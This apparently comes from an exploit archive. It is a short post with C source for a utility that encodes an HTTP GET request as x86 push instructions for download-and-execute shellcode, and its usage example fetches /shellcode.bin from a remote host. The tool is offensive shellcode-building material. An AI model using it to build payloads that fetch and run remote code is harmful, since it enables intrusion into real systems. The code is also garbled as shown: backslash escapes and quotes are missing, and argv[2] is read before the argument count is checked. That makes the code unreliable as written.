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# Title : Utility for generating HTTP/1.x requests for shellcodes
# Published : 2006-10-22
# Author : izik
# Previous Title : linux/x86 HTTP/1.x GET, Downloads and execve() 111 bytes+
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/*
* gen_httpreq.c, utility for generating HTTP/1.x requests for shellcodes
*
* SIZES:
*
* HTTP/1.0 header request size - 18 bytes+
* HTTP/1.1 header request size - 26 bytes+
*
* NOTE: The length of the selected HTTP header is stored at EDX register.
* Thus the generated MOV instruction (to EDX/DX/DL) is size-based.
*
* - izik@tty64.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdarg.h>
#include <string.h>
#define X86_PUSH
0x68
#define X86_MOV_TO_DL(x)
printf("t"\xb2\x%02x"n", x & 0xFF);
#define X86_MOV_TO_DX(x)
printf("t"\x66\xba\x%02x\x%02x"n",
(x & 0xFF), ((x >> 8) & 0xFF));
#define X86_MOV_TO_EDX(x)
printf("t"\xba\x%02x\x%02x\x%02x\x%02x"n",
(x & 0xFF), ((x >> 8) & 0xFF), ((x >> 16) & 0xFF), ((x >> 24) & 0xFF));
void usage(char *);
int printx(char *fmt, ...);
int main(int argc, char **argv) {
if (argc < 2) {
usage(argv[0]);
return -1;
}
if (argv[2][0] != '/') {
fprintf(stderr, "filename must begin with '/' as any sane URL! (e.g. /index.html)n");
return -1;
}
if (!strcmp(argv[1], "-0")) {
return printx("GET %s HTTP/1.0rnrn", argv[2]);
}
if (!strcmp(argv[1], "-1")) {
if (argc != 4) {
fprintf(stderr, "missing <host>, required parameter for HTTP/1.1 header! (e.g. www.tty64.org)n");
return -1;
}
return printx("GET %s HTTP/1.1rnHost: %srnrn", argv[2], argv[3]);
}
fprintf(stderr, "%s: unknown http protocol, try -0 or -1n", argv[1]);
return -1;
}
/*
* usage, display usage screen
* * basename, barrowed argv[0]
*/
void usage(char *basename) {
printf(
"usage: %s <-0|-1> <filename> [<host>]nn"
"t -0, HTTP/1.0 GET requestn"
"t -1, HTTP/1.1 GET requestn"
"t <filename>, given filename (e.g. /shellcode.bin)n"
"t <host>, given hostname (e.g. www.tty64.org) [required for HTTP 1.1]nn",
basename);
return ;
}
/*
* printx, fmt string. generate the shellcode chunk
* * fmt, given format string
*/
int printx(char *fmt, ...) {
va_list ap;
char buf[256], pad_buf[4], *w_buf;
int pad_length, buf_length, i, tot_length;
memset(buf, 0x0, sizeof(buf));
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
buf_length = strlen(buf);
printf("nURL: %sn", buf);
printf("Header Length: %d bytesn", buf_length);
for (i = 1; buf_length > (i * 4); i++) {
pad_length = ((i+1)*4) - buf_length;
}
printf("Padding Length: %d bytesnn", pad_length);
tot_length = buf_length + pad_length;
w_buf = buf;
if (pad_length) {
w_buf = calloc(tot_length, sizeof(char));
if (!w_buf) {
perror("calloc");
return -1;
}
i = index(buf, '/') - buf;
memset(pad_buf, 0x2f, sizeof(pad_buf));
memcpy(w_buf, buf, i);
memcpy(w_buf+i, pad_buf, pad_length);
memcpy(w_buf+pad_length+i, buf+i, buf_length - i);
}
for (i = tot_length - 1; i > -1; i-=4) {
printf("t"\x%02x\x%02x\x%02x\x%02x\x%02x" // pushl $0x%02x%02x%02x%02xn",
X86_PUSH, w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i], w_buf[i-3], w_buf[i-2], w_buf[i-1], w_buf[i]);
}
if (pad_length) {
free(w_buf);
}
//
// The EDX register is assumed to be zero-out within the shellcode.
//
if (tot_length < 256) {
// 8bit value
X86_MOV_TO_DL(tot_length);
} else if (tot_length < 655356) {
// 16bit value
X86_MOV_TO_DX(tot_length);
} else {
// 32bit value, rarely but possible ;-)
X86_MOV_TO_EDX(tot_length);
}
fputc('n', stdout);
return 1;
}
// www.Syue.com [2006-10-22]